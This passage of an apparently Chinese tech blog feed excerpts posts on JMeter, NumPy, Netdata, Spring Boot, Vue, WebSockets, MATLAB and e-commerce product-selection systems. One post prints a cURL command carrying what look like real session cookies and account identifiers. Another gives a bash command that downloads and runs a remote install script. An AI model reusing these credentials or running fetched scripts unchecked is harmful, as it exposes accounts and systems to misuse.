背景很简单就是想用jmeter模拟一个实际业务中用到的http请求，对应功能点如下。&#xA;其对应的接口，请求时候所带的cookie、参数、payload等都可以通过开发者工具中看到。&#xA;注：网上请求百度的case很多了，没什么可说的。我们贴合实际业务场景，直接去请求saas软件的一个实际业务接口。这种情况需要考虑登录态(cookie)等问题也更贴合实际，为此有必要专门演示一把。&#xA;2、具体步骤 打开浏览器调试工具，打开jmeter。&#xA;(1)利用jmeter的 import from cURL进行导入。&#xA;①调试工具中选中目标接口→右键→copy→copy as cURL&#xA;注：其copy下来的其实是如下一串结果。按理来说应该是包括所有的必要信息了才是。&#xA;curl &#39;https://testgateway.qidian.qq.com/v1/interface/inner/cloudcc_303213&#39; \ -H &#39;authority: testgateway.qidian.qq.com&#39; \ -H &#39;accept: application/json, text/plain, */*&#39; \ -H &#39;accept-language: zh-CN,zh;q=0.9&#39; \ -H &#39;content-type: application/json&#39; \ -H &#39;cookie: login_url=https%3A%2F%2Foaconsole.qidian.qq.com%2Flogin%2F%3Fshow_type%3Dqa%26source%3Dworkbench; d2=Tcxl6Jtcmi8MwUIZvsayrx7yxmoeO0z6CGTBYhD59zvH1JjuFqQBzAzSLoG50Z0W93RXa1giPvYP14sswnxOMGCYLgR0SygSguzlcjr14zu8pEnRkRQ3D3Cna19tOi0ooGy0RZeBvn3mrBjaKGFewVadcAnb2xu6lx18ZBN8Z4YM0l8XeBecL+E1W2NOnNQud44gYmp6nLzJg/nQbq0WGoAZ31YcIF4zkS3XFQ+Ip3OhDsTSJvT78g==; corp_uin=2852199388; aid=3007442117; aid_skey=belsR+0zPsl3noSHqgbQUEcY2xngQtQ+yrunvtMpyDtEhJnCOJ3oVymCaaWPnUvZsJpG42neuoazR48ylhQFwPrerrlH2OoL19oEADpcGL6xGGVXQj1XUvnjlNyjWbovPHqfPXzY+De61sTHYYJTvdl3jVoo2FmIkUc6zriSQ3Q=; login_type=workbench; source=workbench; logout_type=workbench; qd_admin_is_web=yes; qd_aid_encode=bfbf632e80afd3bb63602fe46a812976; qdui_loginaccount=fy@2852199388.</description>
    </item>
    <item>
      <title>【无标题】python和Pytorch中的矩阵乘法运算总结</title>
      <link>https://bchobby.github.io/posts/3691fc37f205b6e8dccdb010eacd8b07/</link>
      <pubDate>Thu, 14 Dec 2023 15:36:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3691fc37f205b6e8dccdb010eacd8b07/</guid>
      <description>在数据科学中，矩阵乘法用得特别频繁，而python中有多种矩阵乘法，现作一个简单总结。&#xA;1、python中numpy库的矩阵乘法&#xA;（1）矩阵乘法&#xA;第一种： np.matmul()&#xA;import numpy as np x=np.array([[1, 2, 3], [4, 5, 6]]) y=np.array([[1, 2], [3, 4], [5, 6]]) np.matmul(x,y) 第二种：@运算&#xA;x = np.array([[1, 2, 3], [4, 5, 6]]) y = np.array([[1, 2], [3, 4], [5, 6]]) x@y 第三种：np.dot(A, B)矩阵乘法，点乘&#xA;x = np.array([[1, 2, 3], [4, 5, 6]]) y = np.array([[1, 2], [3, 4], [5, 6]]) np.dot(x,y) 上述三个函数均可执行向量的内积运算，如&#xA;x = np.array([1,2,3]) y = np.array([4,5,6]) np.dot(x,y)#32 x@y#32 np.matmul(x,y)#32 可以看出，这三种乘法都是一样的，但是一般情况，官方推荐，矩阵乘法使用前两种，内积运算使用第三种。</description>
    </item>
    <item>
      <title>安装NETDATA集群监控面板</title>
      <link>https://bchobby.github.io/posts/5d47d8c2d0e4bf8f33165d70feb114b8/</link>
      <pubDate>Thu, 14 Dec 2023 15:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d47d8c2d0e4bf8f33165d70feb114b8/</guid>
      <description>安装NETDATA集群监控面板 介绍 官方链接 演示网页：https://my-netdata.io/ 官方首页：http://netdata.cloud/ 文档地址：http://docs.netdata.cloud github地址：https://github.com/netdata/netdata#infographic 安装 官网提供一键安装脚本 bash &amp;lt;(curl -Ss https://my-netdata.io/kickstart.sh) 国内使用一键安装脚本需要添加参数 bash &amp;lt;(curl -Ss https://my-netdata.io/kickstart.sh) --stable-channel 修改主节点的配置 # 主服务器配置 # 生成uuid格式的字符串 root@cby:~# uuidgen 856a8565-75ac-441f-89e1-2d983272cfde root@cby:~# vim /etc/netdata/stream.conf root@cby:~# cat /etc/netdata/stream.conf [856a8565-75ac-441f-89e1-2d983272cfde] enabled = yes default history = 3600 default memory mode = save health enabled by default = auto allow from = * root@cby:~# root@cby:~# # allow from 可以设置数据流的允许来源以保证安全 # destination 是主节点ip地址 # 重启netdata root@cby:~# systemctl restart netdata root@cby:~# 配置其他节点 # 其它服务器配置 root@cby:~# vim /etc/netdata/netdata.</description>
    </item>
    <item>
      <title>Spring Boot 配置外部化中文文档</title>
      <link>https://bchobby.github.io/posts/f43e0a2cfc8bc6c046963d187fcfbb93/</link>
      <pubDate>Thu, 14 Dec 2023 15:05:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f43e0a2cfc8bc6c046963d187fcfbb93/</guid>
      <description>本文为官方文档直译版本。原文链接&#xA;Spring Boot 配置外部化中文文档 前言访问命令行属性JSON 应用程序属性外部应用程序属性可选位置通配符位置特定配置文件导入附加数据导入无扩展名的文件使用配置树属性占位符使用多文档文件 激活属性加密属性使用 YAML映射 YAML 到属性直接加载 YAML 配置随机值设置系统环境属性类型安全的配置属性JavaBean 属性绑定构造函数绑定启用 @ConfigurationProperties使用 @ConfigurationProperties第三方配置宽松绑定绑定Map从环境变量绑定缓存 合并复杂类型属性转换转换Duration转换Period转换DataSize @ConfigurationProperties 验证@ConfigurationProperties 对比 @Value 前言 Spring Boot 允许您将配置外部化，这样您就可以在不同的环境中使用相同的应用程序代码。您可以使用各种外部配置源，包括 Java 属性文件、YAML 文件、环境变量和命令行参数。&#xA;属性值可以通过 @Value 注解直接注入到 Bean 中，也可以通过 Spring 的Environment抽象访问，还可以通过 @ConfigurationProperties 绑定到结构化对象中。&#xA;Spring Boot 使用一种非常特殊的 PropertySource 顺序，旨在允许对值进行合理的覆盖。后面的属性源可以覆盖前面属性源中定义的值。属性源按以下顺序考虑：&#xA;默认属性（通过设置 SpringApplication.setDefaultProperties 指定）。配置类上的 @PropertySource 注解。请注意，在应用程序上下文刷新之前，此类属性源不会添加到环境中。这对于配置某些属性（如 logging.* 和 spring.main.*）来说为时已晚，因为这些属性是在刷新开始前读取的。配置数据（如 application.properties 文件）。RandomValuePropertySource 只包含 random.* 中的属性。操作系统环境变量。Java 系统属性（System.getProperties()）。来自 java:comp/env.NET 的 JNDI 属性。ServletContext 初始参数。ServletConfig 初始参数。SPRING_APPLICATION_JSON 中的属性（嵌入到环境变量或系统属性中的内联 JSON）。命令行参数。测试属性 在 @SpringBootTest 和测试注解中可用，用于测试应用程序的特定片段。在测试中使用 @DynamicPropertySource 注解。测试中的 @TestPropertySource 注解。Devtools 激活时，$HOME/.</description>
    </item>
    <item>
      <title>用Linux查看Tensorboard</title>
      <link>https://bchobby.github.io/posts/78b073208053e52fcb0125ca0257dfe8/</link>
      <pubDate>Thu, 14 Dec 2023 14:55:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/78b073208053e52fcb0125ca0257dfe8/</guid>
      <description> </description>
    </item>
    <item>
      <title>VUE篇之日历组件</title>
      <link>https://bchobby.github.io/posts/e2d1f5bb479d87a7925b973cf98e343d/</link>
      <pubDate>Thu, 14 Dec 2023 14:17:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2d1f5bb479d87a7925b973cf98e343d/</guid>
      <description>1.简单日历组件展示 思路：根据当前月的第一天是星期几，来显示日期&#xA;&amp;lt;template&amp;gt; &amp;lt;div class=&#34;wrap&#34;&amp;gt; &amp;lt;el-button @click=&#34;preMonth&#34;&amp;gt;上个月&amp;lt;/el-button&amp;gt; &amp;lt;el-tag&amp;gt;当前年份{{ curYear }}&amp;lt;/el-tag&amp;gt; &amp;lt;el-tag&amp;gt;当前月份{{ curMonth }}&amp;lt;/el-tag&amp;gt; &amp;lt;el-button @click=&#34;nextMonth&#34;&amp;gt;下个月&amp;lt;/el-button&amp;gt; &amp;lt;div class=&#34;weeks&#34;&amp;gt; &amp;lt;div v-for=&#34;item in week&#34; :key=&#34;item&#34; class=&#34;week&#34;&amp;gt;{{ item }}&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;days&#34;&amp;gt; &amp;lt;!-- 当月 --&amp;gt; &amp;lt;div v-for=&#34;item in curDays&#34; :key=&#34;item + &#39;cur&#39;&#34; class=&#34;curday&#34;&amp;gt;{{ item }}&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import moment from &#39;moment&#39;; moment.suppressDeprecationWarnings = true; export default { data() { return { curYear: moment().year(), //当前年 curMonth: moment().month() + 1, //当前月 week: [&#39;一&#39;, &#39;二&#39;, &#39;三&#39;, &#39;四&#39;, &#39;五&#39;, &#39;六&#39;, &#39;七&#39;], firstDay: moment(`${moment().</description>
    </item>
    <item>
      <title>Node.js创建一个简单的WebSocket接口，实现通信交互</title>
      <link>https://bchobby.github.io/posts/38c09a0dd02f0b1ab9a59307fd2d433c/</link>
      <pubDate>Thu, 14 Dec 2023 12:02:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38c09a0dd02f0b1ab9a59307fd2d433c/</guid>
      <description>Node.js创建一个简单的WebSocket接口，实现通信交互 一、为什么使用WebSocket？ WebSocket，最大特点就是，服务器可以主动向客户端推送信息，客户端也可以主动向服务器发送信息，是真正的双向平等对话，属于服务器推送技术的一种。&#xA;WebSocket 是一种在 TCP 连接上进行全双工通信的 API 技术。相比于传统的 HTTP 类型 API，WebSocket 类型接口有着更低的延迟和更高的效率，它适用于需要长时间保持连接并实时传输数据的场景，例如在线游戏、实时聊天等服务。&#xA;WebSocket是一种基于HTTP的长链接技术。传统的HTTP协议是一种请求-响应模型，如果浏览器不发送请求，那么服务器无法主动给浏览器推送数据。如果需要定期给浏览器推送数据，例如股票行情，或者不定期给浏览器推送数据，例如在线聊天，基于HTTP协议实现这类需求，只能依靠浏览器的JavaScript定时轮询，效率很低且实时性不高。&#xA;WebSocket特点：&#xA;在实现数据推送时，多数都是ajax轮询（在特定的时间间隔，由浏览器主动发起请求，会占用很多带宽和服务器资源）。而WebSocket建立TCP连接后，服务器可以主动给客户端传递数据，能够更好的节省服务器资源和带宽，实现更实时的数据通讯。&#xA;因为WebSockets只能通过连接发送纯文本数据和二进制数据，所以对于复杂的数据结构，在通过连接发送之前，必须进行JSON.stringify()序列化。&#xA;协议标识符是ws（加密则为wss），服务器网址就是 URL。如“ws://localhost:8080&#34;。&#xA;二、示例代码 简单的WebSocket接口&#xA;ws 是一个简单易用、速度极快且经过全面测试的 WebSocket 客户端和服务器实现。&#xA;npm install ws const http = require(&#34;http&#34;); const WebSocket = require(&#34;ws&#34;); const server = http.createServer(); // const WebSocketServer = WebSocket.WebSocketServer; const socket = new WebSocket.Server({ server }); socket.on(&#34;connection&#34;, (scoket) =&amp;gt; { console.log(&#34;连接已打开&#34;); scoket.on(&#34;message&#34;, (msg) =&amp;gt; { console.log(&#34;收到消息==》&#34; + msg); scoket.send(&#34;返回==》&#34; + msg); }); scoket.on(&#34;close&#34;, (msg) =&amp;gt; { console.</description>
    </item>
    <item>
      <title>Matlab图像处理——RGB分量提取、变换、组合</title>
      <link>https://bchobby.github.io/posts/bfd398c995bcd00c025d9102825d37eb/</link>
      <pubDate>Thu, 14 Dec 2023 11:58:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bfd398c995bcd00c025d9102825d37eb/</guid>
      <description>1、问题提出 读取RGB彩色图像，将红色分量，绿色分量。蓝色分量提取出来，分别进行如下变化：像素值小于100的改为0，像素值大于200的改成255，其他像素值乘以2再减去60，然后进行各分量的组合得到新的图像。&#xA;2、程序编写： 本程序主要运用for循环语句，和一些基本的函数库：imread（读取图片）、cat（进行RGB各分量的组合）、imshow（绘制图像）。采用的图片为RGB彩色图片，像素大小为512×480，文件命名frutis.jpg，如下：&#xA;（1）RGB分量的读取&#xA;%读取分量 rgb_image=imread(&#39;fruits.jpg&#39;);%读取图片 fR=rgb_image(:, :, 1);%读取红色分量 fG=rgb_image(:, :, 2);%读取绿色分量 fB=rgb_image(:, :, 3);%读取蓝色分量 （2）RGB分量的变换&#xA;%对红色分量进行变换 fR2=double(fR);%转换为双精度浮点类型 for i=1:1:480 for j=1:1:512 %遍历 if(fR2(i,j)&amp;lt;100) fR2(i,j)=0; %像素小于100的等于0 elseif(fR2(i,j)&amp;gt;200) fR2(i,j)=255; %像素大于200的等于255 else fR2(i,j)=2.*fR2(i,j)-60;%其他的像素点乘以2倍再减60 end end end fR2=uint8(fR2);%强制将数据转换为8位无符号整数 %对绿色分量进行变换 fG2=double(fG);%转换为双精度浮点类型 for i=1:1:480 for j=1:1:512 %遍历 if(fG2(i,j)&amp;lt;100) fG2(i,j)=0; %小于100的等于0 elseif(fG2(i,j)&amp;gt;200) fG2(i,j)=255; %大于200的等于255 else fG2(i,j)=2.*fG2(i,j)-60;%其他的像素点乘以2倍再减60 end end end fG2=uint8(fG2);%强制将数据转换为8位无符号整数 %对蓝色分量进行变换 fB2=double(fB);%转换为双精度浮点类型 for i=1:1:480 for j=1:1:512 %遍历 if(fB2(i,j)&amp;lt;100) fB2(i,j)=0; %像素小于100的等于0 elseif(fB2(i,j)&amp;gt;200) fRB2(i,j)=255; %像素大于200的等于255 else fB2(i,j)=2.</description>
    </item>
    <item>
      <title>备战双十一·尖货优品实时选技术</title>
      <link>https://bchobby.github.io/posts/68b09c03861c00de914755c66c88dce9/</link>
      <pubDate>Thu, 14 Dec 2023 10:27:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/68b09c03861c00de914755c66c88dce9/</guid>
      <description>1. 双十一背后的技术 双十一是全国人民的购物狂欢节，但是对于阿里技术人而言，双十一则是一年一度的大考，技术人穷尽一切办法保障极致的用户体验和稳如泰山的可靠性，从底层网络、基础架构、容量规划、性能优化到个性化推荐，智能搜索，复杂营销玩法，整个技术支撑体系的每个层面都不断演进和诞生大量技术创新。 弱水三千只取一瓢，如果你关注双十一，你会发现有大量的类似下面第一张图的“运动尖货”会场页面，这类会场有两个特点：&#xA;特征相似。（例如图1的都是运动类商品）&#xA;千人千面。（每位用户看到的商品都是个性化的，进而最大化提升成交概率） 如何从数亿商品中精准的选出满足会场诉求的商品，并且以个性化的方式投放给消费者，最终实现成交概率最大化？背后的技术支撑系统我们称之为“选品投放系统”，本文主要介绍闲鱼选品投放系统的技术演进，希望能给你带来一些解决这类问题的思路。 2. 闲鱼选品系统演变 2.1 选品系统解决的业务问题 闲鱼商品跟大多数电商系统类似，都存在三个核心环节：&#xA;商品发布，卖家将需要售卖的商品发布到平台。&#xA;商品展示，平台通过各种途径将合适的商品展示给合适的买家，买家通过商品浏览形成购买意图。&#xA;商品交易，卖家确定购买意愿后，下单购买商品，商家发货，以及售后等完成钱物交换的所有环节。 选品系统解决的问题主要集中在商品展示环节，尤其在类似双十一这种大型的活动中，选品系统能够将运营同学对行业深入理解跟算法个性化进行有效的结合，构建大量的会场和频道，精选出优质的商品呈现给消费者。&#xA;选品系统大体上分为上图所示的三层。&#xA;基础数据层。所有的商品相关的数据，其来源极为丰富，可能是卖家发布的商品基础信息，例如品牌，尺寸；也可能是算法对商品的理解和分析，例如图片质量，商品质量；也可以是统计维度的数据，例如商品浏览量统计，商品好评率统计等。通常，基础数据层的数据量级决定了后面技术架构的选型。&#xA;运营经验层。运营通过设定各种不同的选商品的规则（简称：选品规则），从海量商品中选出体现其意志的商品集合。例如运动尖货会场，运营可以按照运动品牌品牌，优质卖家等作为选品规则来圈选出运动尖货的基础商品集合。通常，这个集合的数据量级已经比基础数据减少了几个数量级。&#xA;算法能力层。在运营选出来的商品集合中，通过推荐引擎，结合用户个性化信息进行商品推荐产生用户看到的会场页面的Feeds流。算法能力层核心就是对运营圈选出商品集合中的商品通过不同的排序算法策略，将对用户而言最可能产生购买意图的商品排在前面。&#xA;针对闲鱼的业务场景有一个不同于其他电商的显著的特征：闲鱼商品都是孤品，一旦有人购买，商品就不能再继续售卖，需要从feeds流中排除；同时，新发商品或者商品本身特征的变更，一定要即时影响到下游选品结果集合。总结而言，闲鱼选投系统的核心差异化诉求就是：秒级实时性要求 。&#xA;2.2 基于搜索的选品实现 闲鱼早期，同很多初创公司一样，平台上的商品数量比较少，也没有专业的算法团队，但是选品诉求依然大量存在，例如，6月份大学生毕业的时候，组织“毕业季”活动，选品条件是：卖家身份是大学生，商品标题包含“毕业”，商品属于书籍，电器，服装等品类，价格在300元以下。买家浏览的feeds的排序条件是按照距离远近排序，优先看到距离自己最近的。 在当时的闲鱼技术架构下，搜索几乎是所有feeds类页面的数据源提供者，选品，自然而然的就是基于搜索来做。&#xA;用户发布商品后，完成商品库写入后，引用发送异步消息给消息中间件，消息中间件采用阿里现在已经开源的RocketMQ[1]。&#xA;应用B接收消息中间件的消息后，会从其他应用通过rpc调用获取dump表所需的商品基础信息外的补充信息，并且进行一些数据转换，合并等动作后组装成用于更新搜索引擎的数据结构，先写入mysql承载的搜索dump表中，然后通过http接口调用搜索引擎暴露的实时索引更新服务进行索引实时更新。&#xA;每晚，定时调度任务还会触发搜索的全量dump，就是把搜索dump表中的数据拉取到引擎侧，然后完成全量索引构建和线上版本替换的工作。&#xA;建设后台运营选品页面，将搜索可以支持的条件构造成一个表单，运营同学可以在表单上选择和组装条件，并且预览组装条件下的选品结果，调整满意以后，就可以保存搜索条件发布到生产系统。&#xA;前端页面的feeds请求，则是基于选品配置的id来获得选品规则，翻译为搜索查询串，发送请求给搜索系统获得feeds结果。&#xA;搜索引擎选择Solr，除了当时业务量小外（数据量，查询qps都不高），主要是由于当时公司内有个团队基于solr构建了一套针对中小数据量业务的搜索平台，直接接入节省了很多运维和可靠性保障的工作，搜索引擎可以选择ElasticSearch或者其他顺手的搜索引擎。&#xA;前面提到，闲鱼商品孤品特性要求我们选品平台一定要满足实时性，在这个阶段，我们保证实时性的最核心动作就是优化实时索引更新可见的时延，原生solr当时在实时索引更新上还存在诸多问题，搜索团队进行了很多优化工作，详细可以参考这篇文章的分享[2]，最终我们做到实时索引更新到前台搜索可见时延在100毫秒。&#xA;虽然这个选品的架构略显简陋，但是在很长一段时间内支撑了我们的选品诉求，而且即使到现在，这种架构对于中小型的公司，依然具备参考价值。&#xA;在阿里内部，依然有很多基于搜索的选品平台存在，一般都会结合算法推荐层来构建，搜索引擎承载的核心作用是：&#xA;1. 基于条件的选品结果实时预览&#xA;2. 基于条件导出给算法用的商品集合&#xA;通过将选品结果集合从搜索引擎导出，写入到KV存储中，推荐算法在进行推荐的时候，从这个结果集合中做数据召回，然后再结合用户行为和其他算法数据进行排序。算法模块的详细工程支撑，将在下文介绍。 注意这个架构示意图中红色字体部分，选品结果数据导出是采用拉的模式，意味着选品结果集合的kv存储的更新只有两个途径：&#xA;当新建或者更新一个选品规则的时候，触发系统从引擎拉取规则命中的数据写入到KV存储中。&#xA;每天凌晨业务量低的时间段，定时调度任务将生产环境配置的所有选品规则执行一遍，并将结果写入到KV存储中。 这就意味着，商品上新的变更是无法实时更新到选品结果集合中的，几种可能解决思路：&#xA;定时的全量执行数据导出。不可行，因为全量导出数据量大，执行时间长，对系统压力大，而且无论如何都做不到秒级全量持续导出和重算。&#xA;增量数据导出。不可行，以为引擎本身是实时更新的，即便相同规则，基于索引时间戳的增量召回也可能导致数据重复，而且当规则多的时候，性能上也会快速出现瓶颈。 闲鱼对选品秒级实时性要求的特点，决定了这种模式的的选品方案对闲鱼是不可接受的。但是对于商品库存多，商品变化比较少，对实时性要求不高的电商系统，这种方案完全满足业务诉求，读者可以思考下即便多库存，依然可能存在商品售罄，被处罚导致的下架的情况，这些情况下如何保证最终投放给用户的feeds中有效剔除这些商品？&#xA;2.2 基于离线计算的选品实现 我们把类似搜索引擎提供的在线实时数据查询服务称为在线服务，那么离线计算是指基于大数据计算平台，通过提交计算任务，完成大规模海量数据的复杂计算和计算结果的产出。&#xA;这种架构下，核心的计算逻辑全部在大数据平台上通过定时任务来执行所有的选品规则，可以充分发挥计算平台的能力，执行超大规模和复杂度的计算，不需要额外搭建搜索引擎等辅助系统。 大数据计算平台有很多种，阿里内部目前主要使用的MaxComputer平台[3]，当然也可以自建Kafka（数据采集通道）+Hadoop集群+Hive（SQL查询）+spark（可编程访问及批处理）这样的大数据系统，用于支撑海量数据处理。 显而易见，这种模式下，依然很难满足闲鱼秒级实时性要求。&#xA;2.3 实时选品系统的核心链路及其技术挑战 总结前面两种不同选品方案，要实现满足闲鱼业务诉求的实时选品系统，可以归纳下面的核心链路。&#xA;实时更新的商品数据宽表。 宽表的含义是列特别多的表，需要把各种数据源产生的可以用于选品规则计算的数据，以独立列的形式实时写入到这张宽表中。&#xA;挑战1，需要支持独立字段级别的增量和全量数据合并。 因为选品平台数据源来源多样，并且产出时间不一。&#xA;例如闲鱼商品发布过程中不强制要求用户选择类目信息，而是基于用户的输入的标题描述和图片，通过在线算法服务进行实时类目预测，但是在线类目预测算法是以牺牲精准度来保证实时性的，因此，算法通过离线大数据计算平台，每天还会进行全量商品的类目高精度重新预测，这是每天原始数据要进行全量和增量两种模式导入选品数据宽表的原因，是兼顾数据一致性和数据实时性的解法，大部分的实时搜索引擎都是采用类似的解法，全量和增量数据dump相结合的方式来完成索引数据和db数据的同步及实时更新。 只要存在增量和全量更新，就必然存在增量和全量数据合并的问题。&#xA;搜索引擎的常见解法是，两个在线服务引擎，引擎1采用实时增量模式运行，引擎2完成全量数据dump后，根据全量数据最晚时间戳，将时间戳之后收到的增量变更消息进行回放来更新增量索引，直到增量数据追平引擎1的增量消息时间戳，然后线上服务执行引擎切换，引擎2提供线上服务，引擎1执行引擎2完成的全量和追增量动作，这种模式能保障线上服务的基础上，完成全量增量的数据合并。但是根据前面的介绍，我们直接用搜索作为选品引擎是是无法满足实时选品诉求的，而其他的数据库不具备这种线上切换索引的能力。&#xA;上图展示全量和增量数据在某个字段上叠加冲突的情况，当全量预测完成后执行宽表数据合并的时候，需要能够准确判断类目这个字段的增量和全量如何更新。 挑战2：亿级全量数据更新带来的对宽表的超高写入速度（20W+），读取速度（20W+）。计算公式：10亿数据1小时内完成更新，tps27W。&#xA;在线选品规则实时计算。 任何一个商品上的任何一个字段的变更，都需要参与选品规则的计算，来决定当前规则是否依然满足条件，进而决定下游选品结果集合是否需要更新。&#xA;挑战3：选品规则执行效率。&#xA;新建选品规则全量数据实时计算和预览。当新建或者修改选品规则的时候，需要能够对所有商品基于新的规则进行计算，获取满足规则的商品集合。这里的要点在于，全量商品的计算需要秒级完成计算，并且全量数据本身是实时数据。</description>
    </item>
    <item>
      <title>京东选品平台实践</title>
      <link>https://bchobby.github.io/posts/9c213aaf626c65a7fc9707b7f6fb344b/</link>
      <pubDate>Thu, 14 Dec 2023 10:20:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c213aaf626c65a7fc9707b7f6fb344b/</guid>
      <description>1. 背景 随着互联网业的发展和用户购物习惯的转变，电商在零售市场中的占比逐年增加，市场的扩大也带来了各个电商平台中商品的数量在近十年里快速上涨，以京东零售为例，现在全站的商品规模已经达到数十亿级。&#xA;如此大的商品量，在带来了更丰富的商品的同时，也给日常电商的运营工作增加了更大的难度。其中很核心的难点之一就是，如何从这些海量的商品中找出优质的、符合运营诉求的商品。&#xA;基于这样的痛点，各大零售平台都在近几年推出了各自的选品工具或者平台，本人所在团队有幸参与到了京东零售营销端的选品平台从零到一的规划、设计、落地，并在2022年618大促活动中覆盖了50%的促销活动楼层商品的选品职责。&#xA;本文将分享从2021年Q3到2022年618这一年时间里平台开发过程中团队所积累的一些相关的技术经验，希望对业内同学有所帮助。&#xA;2. 选品核心能力 从上一节的背景中，我们可以看出一个选品系统最核心的功能是能帮助运营从较大规模的数据中选出目标数据，这是我们进行系统设计最核心的关键点。所以这里设计的关键问题就可以转化为如何能实现从较大规模的数据中选出目标数据。关键问题清晰之后，我们其实可以看出，这是一个数据检索服务。当我们把问题转化成实现一个数据检索服务的时候，很多设计思路就清晰了起来。&#xA;检索服务对于每个人来说都不是一个陌生的功能，我们在日常工作设计甚至生活中都经常接触这样的功能，比如日常工作中筛选excel表格中的数据，或者我们日常在百度、谷歌上使用的搜索功能，其实都是数据的检索服务。基于此，我们把各种检索服务进行横向对比分析，可以得到我们认为如果要设计一个选品系统最重要的三大核心要素：数据、筛选和排序。&#xA;为了让大家更容易理解这三个核心要素，我们基于三要素把日常经常接触的工具进行横向比较，如下表：&#xA;Excel百度/谷歌搜素引擎MySQL数据库数据表中数据互联网上的资源库表数据筛选筛选功能搜索词输入where语句排序排序功能个性化or时序order by语句 3. 京东零售选品业务情况 乔布斯曾经在一次发布会上回答了一位工程师质疑他是否懂技术的问题，他回答大意是：我们应该为了一个好产品去找到适合它的技术，而不是为了推广技术而去设计一个产品。同样的，为了更合理的设计好我们的选品平台，我们也需要在前期深入的去了解业务的具体使用场景和相关的技术情况。&#xA;经过我们对业务的调研，大体总结出几个核心的业务使用情况：&#xA;1. 不同的选品业务会使用不同的数据，数据范围从百万到亿级不等，使用到的指标也不一样。&#xA;2. 京东零售业务比较复杂，平台需要支持的业务会比较多。&#xA;3. 数据选品需要实时得到结果，结果包括数据的列表和数据的一些分布。&#xA;针对上述的业务使用信息，我们可以得到系统需要满足：&#xA;1. 支持较大数据量的实时查询。&#xA;2. 选品数据多样性高，需要针对不同业务进行可以灵活调整。&#xA;3. 需要同时支持OLTP和OLAP查询。&#xA;4. 选品领域模型设计 针对上一节的业务使用诉求，我们首先设计了一套选品平台的领域模型，主要包含输入和输出两大部分，输入域包含我们选品的核心三要素：数据、筛选和排序；输出域偏向业务功能的使用诉求，主要包含视图能力和数据输出能力。模型设计如下图：&#xA;5. 选品系统架构 确定了选品平台的领域能力模型后，我们继续进行系统架构的设计拆解，由于我们平台的定位是服务整个京东零售营销的选品场景，业务场景较多且区别较大，于是在系统设计上如何通过一套底层能力支撑多变的前台使用是我们在设计平台架构的时候重点需要思考的问题。下面介绍一下团队针对选品从前端到服务端各个环节的系统架构。&#xA;5.1 前端 前端是最直接面向用户的一层服务，这里需要先考虑到合适的用户体验，经过一段时间的打磨，最终我们选品操作工作台的交互功能设计了三大核心工作区域：筛选规则配置区、排序配置规则区和展示区（商品列表和商品分布），如下图：&#xA;在技术实现方面，为了保证我们整个前端工作区域的适配性和多样性，我们把工作台各个区域的渲染都通过配置化的方式实现，整个配置化组件底层协议基于Json schema，渲染基于京东零售的水滴组件（已开源，水滴表单组件 https://github.com/JDFED/drip-form，水滴表格组件 https://github.com/JDFED/drip-table）。&#xA;这一套设计保证了我们可以通过配置快速搭建各个基于同一底层的不同的前端选品样式，具备优秀的灵活性和可适配性。架构图如下：&#xA;5.2 服务端 服务端方面，首先是应用层设计，这里最重要的是联动配置化的前端协议来实现后台的服务。考虑到选品本质是上把前端用户交互翻译成数据Query的过程，所以这里对于服务端的应用层最核心的就是两部分功能：协议字典、Query解析引擎。其中协议字典主要作用在于和前段的配置协议进行映射翻译，翻译成一些逻辑语言，比如大于、小于、等于等。Query解析引擎作用是把逻辑性语言通过动态Query的方式生成Query语句。如下图：&#xA;在应用层之外，选品服务端的数据层也是非常重要的部分，在存储介质方面，考虑到选品用户需要检索商品以及查看商品分布，技术选型上我们首选ClickHouse。ClickHouse在OLAP查询方面以及数据写入、数据查询性能方面都有很好的表现。&#xA;另外，选品数据处理涉及大数据海量数据的前置处理，这里我们主要使用离线大数据计算的方式进行处理（HIVE SQL或者Spark）。在离线数据处理方面，我们主要进行了标准化设计，沉淀了一套通用的数据脚本，把所有数据处理过程都抽象成一套标准的数据处理流程（1. 底池初始化，2. 指标添加，3. 离线导数，4. 数据清理），这样可以保证各个环节可以用通用的数据处理脚本，不同业务处理数据只需要传入不同的配置参数即可。如下图：&#xA;最后，在应用层和数据层之外，我们也设计了质量监控体系，包括服务链路监控、定时巡检、降级限流、异常数据处理等，来保证整个选品系统的健壮性和内部流程的可观测性。&#xA;最后是整个的架构图，如下：&#xA;通过这一套系统架构，我们实现了选品平台的统一底层、灵活配置化的前端，一键部署多端适配的系统特性。&#xA;6. 选品数据索引架构 除了上一章节介绍的平台工程架构以外，数据也是选品平台极其核心的部分，这里数据包含数据的生产传输和数据的检索查询。考虑到数据的量级（亿级），传统的单点数据库支持不太适用，我们选择的方向是分布式数据库或者数据引擎，考虑到这里对于查询有明确的聚合查询场景（查看分布等OLAP性质查询），我们综合下来选择了现在社区比较活跃并且成熟度也较高的ClickHouse所谓数据索引引擎。&#xA;在索引结构设计上，我们也可以从查询由近到远的视角拆解来看。&#xA;首先第一部分是离查询最近的索引，这里索引最核心的指标是提供尽量快的查询性能，考虑到一个选品查询的过程本质上是条件查询的过程，所以这里我们设计上针对不同的选品垂直业务场景，把商品主键和业务指标合并成一个宽表的形式，这样查询可以直接命中单表结构，不需要额外的实时关联数据操作（比如多表join），在性能上是最优的。结构如下：&#xA;这里的结构是比较简单明了的，但是我们也要认识到底层的数据结构其实是很多样的，所以如何能保证把多样性的底层数据可以标准化的处理成我们需要的结构是整个数据处理流程中最重要的设计点。针对这块设计，按照数据的实时性要求，我们可以拆分成两大类数据处理流程：离线数据（实时性要求不高，可以容忍小时级或者天级数据延迟）和实时数据（实时性要求高，基本需要准实时）处理流程。&#xA;首先看离线数据处理流程，这里的设计思路比较明确，只需要通过离线数据处理脚本把多样的底层数据处理成需要的格式。这里最大的挑战在于当数据量很大的时候如何可以较快的导入到索引库里，这里主要通过一些脚本的优化，比如通过自定义Hash函数把数据进行分区，再各个分区数